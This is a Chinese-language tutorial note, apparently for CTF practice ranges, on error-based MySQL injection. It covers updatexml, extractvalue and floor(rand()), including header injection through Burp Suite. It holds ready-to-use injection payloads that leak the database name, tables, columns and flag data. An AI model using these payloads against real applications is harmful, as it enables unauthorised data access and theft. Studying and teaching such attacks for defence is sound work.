报错注入
当场景中仅仅将sql语句带入查询返回页面正确,没有返回点的时候,
需要报错注入,用报错的回显把我们想要看到的东西,以一个报出错误的形式展现出来
基本SQL语句
- 插入数据
insert into <table_name>(columns1,columns2,...) value ('value1','value2',...)
- 连接字符串
select concat('a','b')
Updatexml
利用报错注入显示当前数据库名,利用连接符将非法字符联入,导致函数出现报错显现,同时把我们想要看到的数据展现出来
更新xml文档,中间参数为路径
select uodatexml(1,'~',1)
语法:updatexml(目标xml内容,xml文档路径,更新的内容)
实际上这里是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询
select database()
,我们输入特殊字符concat('~',...)
,然后就因为不符合输入规则然后报错了
但是报错的时候他其实已经执行了那个子查询代码
select updatexml(1,concat('~',(select database())),1)
updatexml () 这个函数一般是配合and 或者是or 使用的,他和联合查询不同,不需要在意什么字段数,一般建议使用or
eg:
select *from news where id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
注入步骤
- 在靶场中看数据库返回的数据,有时会包括User-Agent,Refferer等等响应头中的信息,说明是可以利用报错注入的header注入(通过查看源码,看过滤的参数和insert into使用的参数,从而确定注入位置)
- 在登陆时,利用burpsuite抓包,将相应的User-Agent等修改为要注入的sql语句
- 在repeater中Go一下,或者使用浏览器插件修改头部再运行,即可看到想要看的数据
具体代码
基本代码解释:
’
为了闭合插入语句中values的前引号,1)
为了闭合插入语句values的前括号-- anything
为了注释掉后面的sql语句,每个靶场的注入点不同,有些-- qweq
不可以注释后面的语句,要找到注入点(有些是可以闭合引号,写%23等等)0x7e
是十六进制中的‘#’,mysql支持十六进制编码
- 基本的实现语句,是利用数据库中的增加,进行报错注入
insert into sanhao(name,fenshu) values ('' or updatexml(1,concat(0x7e,(select database())),1),1)
- 查询数据库版本
' or updatexml(1,concat(0x7e,(select version())),1),1) -- qwe
- 查询本数据库名称
' or updatexml(1,concat(0x7e,(select database())),1),1)-- adf
- 查询表名
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1),1) -- qwe
- 查询字段名
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag_head' limit 1,1)),1),1) -- qwe
- 查询数据
' or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 0,1)),1),1) -- qwe
extractvalue
函数解释:
extractvalue():从目标XML中返回包含所查询值的字符串。
extractvalue(XML_document, XPath_string)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串),xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容
eg:
extractvalue(null,concat(0x7e,(select @@datadir),0x7e));
具体代码
' or extractvalue(1,concat(0x7e,(select database()),0x7e))-- sad
' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'),0x7e))-- afrw
extractvalue的用法和updatexml基本一致,均只能显示32位
floor(rand()*2)
公式
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
相关函数
rand()用于产生一个0~1的随机数
floor()向下取整
rand()函数生成0~1的数,使用floor函数向下取整,值就是固定的“0”,我们将rand*2,得到的值就变成了不固定的“0”或者“1”
探究
select count(*) from table1 group by floor(rand()*2)
由于floor(rand(0)*2)
是随机产生,会先产生一个定值,在count时先取key发现是0,会重新计算floor(rand(0)*2)如果变为1,则会将key=1插入
报错的产生在于当发现一个key不存在,需要记录时,会重新计算随机值,就有可能会生产已经存在的key值,由于不能重复记录同一个key值在两条记录中,就会有报错产生